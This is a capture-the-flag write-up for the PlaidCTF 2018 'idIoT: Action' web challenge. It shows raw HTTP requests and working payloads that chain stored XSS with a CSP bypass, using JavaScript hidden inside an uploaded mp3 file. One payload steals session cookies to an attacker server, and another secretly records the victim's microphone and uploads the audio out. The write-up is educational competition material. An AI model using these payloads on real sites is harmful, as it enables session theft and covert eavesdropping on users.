# ▼▼▼idIoT: Action Web (200 pts)  38/986=3.8％▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```Some people won't let any smart devices in their home at all. Some are cautious, do their research, and make an informed decision. This guy falls in neither category; he's a a downright idIoT. 
The idIoT uses this service called clipshare(https://idiot.chal.pwning.xxx/); you can find his account here(https://idiot.chal.pwning.xxx/user.php?id=3427e48e-a6eb-4323-aed4-3ce4a83d4f46) or here after you make an account. 
He was telling me the other day about how he has a Google Home next to his computer running at all times. He also told me that if you ask politely it will tell you the flag. However, while he'll look at anything you share, he closes it almost immediately if he doesn't seem like it'll interest him. Maybe we can look at his clips to find something to match his interests? 
(Flag format: PCTF{xxx} where xxx is some text composed of lower-case letters and underscores)```
---
**【Understanding of functions】**```・Account registration function・Login/logout functioon・Audio recording function with javascript・Audio playback function with javascript・Audio file upload function・Sharing audio to other users```
---
## ▼▼Stage1(XSS)▼▼
**【Search for vulnerabilities】**
When reading the problem above I was able to feel that this is an XSS problem.
```POST /create.php HTTP/1.1Host: idiot.chal.pwning.xxxContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryplyOYuB7sEcLkkvJCookie: PHPSESSID=17db1na5g7oahumoj2ea9lj1o6
------WebKitFormBoundaryplyOYuB7sEcLkkvJContent-Disposition: form-data; name="title"
<>1------WebKitFormBoundaryplyOYuB7sEcLkkvJContent-Disposition: form-data; name="description"
<>2------WebKitFormBoundaryplyOYuB7sEcLkkvJContent-Disposition: form-data; name="audiofile"; filename="musicbox.mp3"Content-Type: audio/mp3
～(mp3 file data is omitted)～------WebKitFormBoundaryplyOYuB7sEcLkkvJ--```
↓
Next, send the following request
↓
```GET /clip.php?id=a6f77dd1-fdb1-4461-95f5-1570c19c8acd HTTP/1.1Host: idiot.chal.pwning.xxxCookie: PHPSESSID=17db1na5g7oahumoj2ea9lj1o6```
↓
```HTTP/1.1 200 OKDate: Sat, 05 May 2018 06:16:08 GMTServer: Apache/2.4.18 (Ubuntu)Content-Security-Policy: style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; media-src 'self' blob:; script-src 'self'; object-src 'self'; frame-src 'self'Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheVary: Accept-EncodingContent-Length: 1100Connection: closeContent-Type: text/html; charset=UTF-8
<html><head>	<link href="https://fonts.googleapis.com/css?family=IBM+Plex+Sans+Condensed" rel="stylesheet">	<link rel="stylesheet" href="css/main.css" />	<script src="js/main.js"></script></head><body>	<header> 			<h1>Clipshare</h1> 		<nav> Create a clip Shares kazkiti Log out					</nav>	</header>	<main><h2><>1</h2><h3>kazkiti</h3><audio src="uploads/upload_5aed4c274f9c28.18047791.mp3" controls autoplay class="playback"></audio><div class="box padded">	<div class="title">Description</div>	<div class="content"><>2</div></div><form class="box padded" action="share.php" method="POST">	<div class="title">Share this clip</div>	<select name="target">		<option disabled selected>Select a friend</option>			</select>	<input type="hidden" name="clip" value="a6f77dd1-fdb1-4461-95f5-1570c19c8acd" />	<input type="submit" name="submit" value="submit" /></form>	</main></body></html>```
↓
`<> 2` is not escaped! `description` paramater is `Stored XSS` vulnerable!!
---
**【First, I confirm the user id that makes XSS payload browse】**
https://idiot.chal.pwning.xxx/user.php?id=3427e48e-a6eb-4323-aed4-3ce4a83d4f46
↓
`idiot1`
↓
Press [ Add friend] button to share audio
---
**【Check the Content-Security-Policy header】**
```Content-Security-Policy: style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; media-src 'self' blob:; script-src 'self'; object-src 'self'; frame-src 'self'```
↓
`script-src 'self'`
↓
Only `<script src = "(same-origin-contents)"> </ script>` is allowed
---
**【Identify  idiot1's browser type】**
Let's browse to ` ` and identify the type of idiot1's browser
↓
```POST /create.php HTTP/1.1Host: idiot.chal.pwning.xxxContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryplyOYuB7sEcLkkvJCookie: PHPSESSID=17db1na5g7oahumoj2ea9lj1o6
------WebKitFormBoundaryplyOYuB7sEcLkkvJContent-Disposition: form-data; name="title"
<>1------WebKitFormBoundaryplyOYuB7sEcLkkvJContent-Disposition: form-data; name="description"
------WebKitFormBoundaryplyOYuB7sEcLkkvJContent-Disposition: form-data; name="audiofile"; filename="musicbox.mp3"Content-Type: audio/mp3
～(mp3 file data is omitted)～------WebKitFormBoundaryplyOYuB7sEcLkkvJ--```
↓
Share it to `idiot1`
↓
I got the following User-agent header on my server
```User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3391.0 Safari/537.36```
↓
It seems to be `Chrome`!
---
**【Search for places where javascript can be uploaded】**
I confirmed Audio file upload function.  There are the following descriptions, and the audio file that can be uploaded is restricted.
↓
```Upload a FileYou can upload .wav/wave, .mp3, .ogg, .webm```
↓
I confirmed the details.
```· It is checked that the file contents are sound sources· Extension check is done· But Consistency between sound source and extension is not checked```
---
Confirm the extensions that can be CSP-bypassed in Chrome in the local environment
↓
I created `test.html` file and accessed it.
```<script src="test.wav"></script><script src="test.mp3"></script><script src="test.ogg"></script><script src="test.webm"></script><script src="test.wave"></script>```
↓
result
![](https://raw.githubusercontent.com/kazkiti/PlaidCTF2018/master/local_check.png)
↓
Only the `wave` extension can be read from `<script src = ●●●></script>` in Chrome.
---
**【Consider how to write javascript in audio file】**
I looked for an audio format with no error in the form of `/ * (Audio file) * /`
↓
```POST /create.php HTTP/1.1Host: idiot.chal.pwning.xxxContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryVS0mrwAmBPnIkuZmCookie: PHPSESSID=baq1mp2bito9i92819i9jugm37
------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="title"
test------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="description"
test------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="audiofile"; filename="test.wave"Content-Type: audio/mp3
alert(1);/*(mp3 file)*/```
↓
upload OK. 
As a result of checking one by one, it turned out that `mp3` is simple.
---
**【Confirm whether cookie can be acquired with javascript】**```POST /login.php HTTP/1.1Host: idiot.chal.pwning.xxxContent-Type: application/x-www-form-urlencoded
username=kazkiti&password=password&submit=submit```↓
Set-Cookie: PHPSESSID=jfocois0t1ilobr3anv5cjvju7; path=/
↓
There is no `httponly` attribute
It is possible to get cookies with javascript
---
**【Get cookie of idiot1】**
```POST /create.php HTTP/1.1Host: idiot.chal.pwning.xxxContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryVS0mrwAmBPnIkuZmCookie: PHPSESSID=baq1mp2bito9i92819i9jugm37
------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="title"
test------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="description"
<script src="●●●●.wave"></script>------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="audiofile"; filename="test.wave"Content-Type: audio/mp3
(new Image).src='https://【my_server】?'+document.cookie;/*(mp3 file)*/```
↓
Share idiot1 and got the following
```GET /17lytyo1?PHPSESSID=2p1d1495hbkpflbj2ctoe4e091User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3391.0 Safari/537.36```
↓
Logged in as `PHPSESSID = 2p1d1495hbkpflbj2ctoe4e091`.
---
## ▼▼Stage2(CSRF)▼▼
There are 2 Audio. To summarize them ...```・There is Google Home near his PC・When asking `OK! Google! what is a flag?` on Google Home, it tells flag・If I put `spatulate` in `discription paramater` when I send voice, Google Home will listen to the voice```
---
I thought that I could get a flag if I did the following
```・Upload the 'OK! Google! What is flag?' voice and tell Google Home・Record the flag that Google Home tells me・Send audio file to my server```
↓
I created the following exploit with reference to `js/ main.js`
↓
```POST /create.php HTTP/1.1Host: idiot.chal.pwning.xxxContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryVS0mrwAmBPnIkuZmCookie: PHPSESSID=baq1mp2bito9i92819i9jugm37
------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="title"
test------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="description"
spatulate<script src="/uploads/upload_5aef1d1e024e06.39902088.wave"></script><form action="create.php" method="post" enctype="multipart/form-data" id="upload-form">		<input type="text" name="title" id="title-input" value="flag"/>		<textarea type="text" name="description" id="description-input">flag</textarea>		<label for="audiofile" class="file-label">Upload a file</label>		<input type="file" name="audiofile" id="audiofile" accept="audio/*" />		<button type="button" id="audio-record">Record</button>		<audio id="record-playback" controls></audio>	<button type="submit" name="submit" id="up_exe" value="submit">submit</button></form>------WebKitFormBoundaryVS0mrwAmBPnIkuZmContent-Disposition: form-data; name="audiofile"; filename="test.wave"Content-Type: audio/mp3
window.onload = () => {
	//(new Image).src = 'https://【my_server】?read_1';
	document.querySelectorAll("input[type='file']").forEach((input) => {		input.addEventListener("change", (e) => {			document.querySelector(`label[for="${input.id}"]`).innerText = e.target.value.split("\\").pop();		});	});
	let recordButton = document.getElementById("audio-record");	let recordPlayback = document.getElementById("record-playback");	let uploadForm = document.getElementById("upload-form");	let mediaRecorder;	let mediaType =		  !("MediaRecorder" in window) ? undefined		: MediaRecorder.isTypeSupported("audio/ogg") ? "audio/ogg"		: MediaRecorder.isTypeSupported("audio/webm") ? "audio/webm"		: undefined;	let mediaBlob;
	if (recordButton) {		recordButton.addEventListener("click", (e) => {			e.preventDefault();			//console.log("mediaType="+mediaType);//--------1			//(new Image).src = 'https://【my_server】?record_2';			if (!mediaType) {				console.log("mediaType:None");				return;			}
			//console.log("mediaRecorder="+mediaRecorder);//--------2			//(new Image).src = 'https://【my_server】?record_3';			if (mediaRecorder) {				//console.log("stop:1");				mediaRecorder.stop();				mediaRecorder = undefined;				recordButton.innerText = "Record";			} else {				//console.log("Record");//--------3				//(new Image).src = 'https:/【my_server】?record_4';				recordButton.innerText = "Stop";				navigator.mediaDevices.getUserMedia({ audio: true }).then((stream) => {						//console.log("navigator");//--------4						//(new Image).src = 'https://【my_server】?navigator_5';						mediaRecorder = new MediaRecorder(stream, { mimeType: mediaType }); 						mediaRecorder.start();
						//console.log("chunk");//--------5						//(new Image).src = 'https://【my_server】?chunk_6';						let chunks = [];
						mediaRecorder.addEventListener("dataavailable", (e) => {							//console.log("push");							chunks.push(e.data);						});
						mediaRecorder.addEventListener("stop", () => {							//console.log("stop");							//(new Image).src = 'https://【my_server】?stop_7';							mediaBlob = new Blob(chunks);							recordPlayback.src = URL.createObjectURL(mediaBlob);							//console.log(mediaBlob);
							document.getElementById("up_exe").click();						})					});			}		});	}
	if (uploadForm) {		//console.log("upload-start");		//(new Image).src = 'https://【my_server】?upload-start_8';		uploadForm.addEventListener("submit", (e) => {			//alert("uploadForm_addEventListener");			e.preventDefault();			let formData = new FormData(uploadForm);
			//console.log(mediaBlob);			//alert(mediaBlob);			if (mediaBlob) {				//alert("mediaBlob-OK");				formData.append("audiofile", mediaBlob, "audio." + mediaType.split("/")[1]);			}
			//let f = fetch("create.php", {			let f = fetch("https://【my_server】/10_upload/upload.php", {				method: "POST",				mode: 'cors',				body: formData,				credentials: "same-origin"			});
		});	}
	recordButton.click();	//console.log("timer_start");//timer	//(new Image).src = 'https://【my_server】?timer_start_9';	setTimeout(function(){recordButton.click();},20000);}/*(mp3 file)*/------WebKitFormBoundaryVS0mrwAmBPnIkuZm--```
↓
Audio file uploaded to my server.  listen to the audio file.
↓
`pctf{not_so_smart}`